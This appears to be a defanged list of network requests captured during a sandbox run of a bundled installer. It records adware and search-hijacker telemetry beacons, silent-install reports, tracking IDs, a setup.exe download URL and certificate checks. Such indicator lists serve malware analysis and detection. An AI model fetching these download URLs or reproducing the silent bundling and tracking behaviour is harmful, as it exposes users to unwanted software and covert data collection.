hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429064933
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429064933
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429064934
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429064934
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429064934
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429064934
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429064936
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429064937
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429064937
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=545067&mode=nolsp
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=657cd9m3NQGxXIjuhqBZpXZFr9sKl2h1/AcH8PricLVP XtorcoTKgxB9pWV4xt1IE3xXY68lVv0XfOKUZXMM/7Dni2x5uCyJ8HGWzrQJ1r8SaNRCRsmEYzpbjeDHyvNaRokfD2i3bSiVD03i8rOXiW0guRw9keUsXdgWz9x4otLov/TdmHmyAH52BQS2VDhNPMJ2DRUrFeFuEhupHszFkSmKH5lT07PQ1kgjXHSHi1Pu9FI3 6MG6yVq1Ms99xdbqeG 30JwGYVPchSnxFsXZ8C43sjhztyvOlUODstPenXGtSKDZTuZuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaqTMNUzlv3S3EyJr0Wai9KKHoAa6gky6IUA7dl9owwhL1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwQLRCbW pj1sRrFNS1 cpsg= 54.197.238.106
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429064939
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1429064939
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429064940
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429064940
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429064940
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429064941
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1429064941
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_35&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=16&rnd=1429064942
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429064926&lifetime=0&silent=1&crtnm=na&procstarttime=1429064926&procruntime=16&rnd=1429064942
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_29&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=17&rnd=1429064943
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429064926&lifetime=0&silent=1&crtnm=na&procstarttime=1429064926&procruntime=17&rnd=1429064943
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=siwKo8d7dVRUzMSzzHoKeaCX1HSyNOdOjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNaRokfD2i3bSiVD03i8rOXiW0guRw9keUsXdgWz9x4otLov/TdmHmyFHmS0Zrngqa/u6z7Uinv/jCvZJfV0k892840jcI/HESFwnxoOIHE6aTQd05qfPsYbPiCC4paVhdDohIbj8Q6VaNCl2I6 IrHveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLFjxb3RZ0G7JwAOX7FZBMF8Dz0JkPcFdHnEgtY/ 7tmTCEIsEjkHWEU=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=siwKo8d7dVRUzMSzzHoKeaCX1HSyNOdOjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNaRokfD2i3bSiVD03i8rOXiW0guRw9keUsXdgWz9x4otLov/TdmHmyFHmS0Zrngqa/u6z7Uinv/jCvZJfV0k892840jcI/HESVjr4IQgU6/17ym41MswgnBQC drCF7eF8q1Ber6XmkpnWhkcQKrPjN0fAE4Ba7u3Efn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opWNKEGtOzYkhhE 4ldj4Gl9F9XRoFpwhAWyyBfgdC/MPGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSkJYmXsRYyUuOBh9NmQ0xfNaOxGiX/AiXz4BIAZdfMSnBenFw/kdUCg=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=siwKo8d7dVRUzMSzzHoKeaCX1HSyNOdOjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNaRokfD2i3bSiVD03i8rOXiW0guRw9keUsXdgWz9x4otLov/TdmHmyFHmS0Zrngqa/u6z7Uinv/jCvZJfV0k892840jcI/HESVjr4IQgU6/17ym41MswgnBQC drCF7eFr6pWGsWy8bJ5iUA4lC8nSqUqjDuAivmJ4m/vJXDvF2G8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhYr5s9v/KDMrnANaSplIC/SpujWJYmVycfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLFjxb3RZ0G7JwAOX7FZBMF8Dz0JkPcFdHnEgtY/ 7tmTCEIsEjkHWEU=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=AZwPyJy3TZiu PbZ6jHEZlTMxLPMegp5CI12GLy81NeMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz33OgztFJlFP5wS/7uvkzjRNFIOcmDDpCEFAL52sIXt4XkathCyw/jA6hWny52hzrnjlpUfr/spfXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuSnio7cfrtyvkRKJkRvweKgv bqruNv6DAPcbWvcDLLqd2GwOcS1mN6
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.finish 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab 65.255.35.143
hxxp://d1tlvbabel9f8s.cloudfront.net/infv5/index/3428/3rd 54.192.47.13
hxxp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa2af09de41e/2.pak
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.wpm 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1953 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ient 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2102&update4=chptid,smt 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action1=install.smt 65.255.35.143
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=3&index_in_screen=1&index_in_session=3&0.9926493029249737
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=4&index_in_screen=1&index_in_session=4&0.8565851792086028
hxxp://up.soft365.com/Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=istartsurf
hxxp://xa.xingcloud.com/v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2105 65.255.35.143
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1429064960
hxxp://xa.xingcloud.com/v4/searchprotect/267123711_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install 65.255.35.143
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=0&crtnm=na&mdat=&procstarttime=1429064960&procruntime=2&rnd=1429064962
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=0&crtnm=na&procstarttime=1429064960&procruntime=2&rnd=1429064962
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064960&asw=0_1082139141_-2147475456_0&browser=ff&rnd=1429064960
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1429064963
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1429064963
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429064964
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429064964
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429064965
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429064965
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429064965
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429064965
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429064968
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429064968
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429064968
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429064969
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1429064970
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=65743&appver=&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=0&crtnm=na&procstarttime=1429064960&procruntime=12&rnd=1429064972
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429064960&lifetime=0&silent=1&crtnm=na&procstarttime=1429064960&procruntime=12&rnd=1429064972
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064960&asw=0_1082139141_-2147475456_0&browser=ff&rnd=1429064960
hxxp://bigspeedpro.com/webplayer/appshat/config.json
hxxp://appshat.com/images/64x64.ico
hxxp://appshat.com/images/16x16.ico
hxxp://appshat.com/home
hxxp://appshat.com/css/main.css
hxxp://appshat.com/css/product.css
hxxp://appshat.com/css/style.css
hxxp://appshat.com/css/lightbox.css
hxxp://appshat.com/js/scripts.js
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.7.2/jquery.min.js
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js
hxxp://googleadapis.l.google.com/css?family=Abel
hxxp://appshat.com/js/jquery.smooth-scroll.min.js
hxxp://appshat.com/js/lightbox.js
hxxp://appshat.com/images/logo.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png
hxxp://appshat.com/thumbnails/banner/images/assets/7/f/7fb9f4ca0fa96299334c18ee76c7b68b.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/3/6/365640f122ef96f033f2f87c6308031e.png
hxxp://gstaticadssl.l.google.com/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot
hxxp://appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png
hxxp://www-google-analytics.l.google.com/analytics.js
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=4&index_in_screen=1&index_in_session=4&0.4506188523473853
hxxp://appshat.com/images/4.5stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png
hxxp://appshat.com/images/5.0stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png
hxxp://appshat.com/thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png
hxxp://appshat.com/thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png
hxxp://appshat.com/images/4.0stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png
hxxp://appshat.com/thumbnails/icon/images/assets/3/d/3d8bbea6bcae57d705c676f7050a7d51.png
hxxp://appshat.com/thumbnails/icon/images/assets/0/6/0692c2494a7331a77c05954f79c5480a.png
hxxp://appshat.com/thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png
hxxp://appshat.com/images/3.5stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/c/c/cc3148e57a2928cd1ada1bbea553c3c2.png
hxxp://appshat.com/thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png
hxxp://appshat.com/thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png
hxxp://appshat.com/thumbnails/icon/images/assets/4/4/442a5f30204dd385d17de5848683274f.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png
hxxp://appshat.com/thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png
hxxp://appshat.com/images/logo_illust.jpg
hxxp://www.scilor.com/updatecheck.php?p=grooveshark-downloader&v=v0.4.15 80.82.79.63
hxxp://www.scilor.com/updatecheck.php?p=groovefix&v=20130530 80.82.79.63
hxxp://grooveshark.com/
hxxp://grooveshark.com/more.php?initiateSession
hxxp://grooveshark.com/preload.php?hash=&1429064982698
hxxp://grooveshark.com/preload.php?getCommunicationToken=1&hash=&1429064982698
hxxp://grooveshark.com/more.php?getCountry
hxxp://www.scilor.com/updatecheck.php?v=SciLors GrooveDownloader.exe&a=923f08dcf90feea96c1df2eb5250020a&b=f8906a9910718fa49694bf11ba35275e937765bd&c=c518dc4de9ca835a41a74d6369a190fff3784db44c5f630c5d7e0f67bb7d38ca 80.82.79.63
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429064984&SBPIDS=1 212.143.22.214
hxxp://www.theviilage.com/windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1953&uid=&upv= 208.43.69.149
hxxp://www.theviilage.com/searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.2105&uid=267123711_198339_B48A115F&dp=0 208.43.69.149
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?c901c26979798c1c
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s=
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs=
hxxp://ocsp.usertrust.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7
hxxp://a1363.dscg.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1363.dscg.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?89b22f8bbca3b674
hxxp://crl.globalsign.net/root-r3.crl
hxxp://crl.globalsign.net/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhZyg35kUM7JUe4UHDT5+Nwg==
hxxp://crl.globalsign.net/root.crl
hxxp://crl.globalsign.net/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhZ1N/ArcYWNWqP8XWy7QmXA==
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k=
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://errors.dropopenobject.com/installer-error.gif?action=sesamy&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=0&crtnm=na&procstarttime=1429064960&procruntime=2&rnd=1429064962
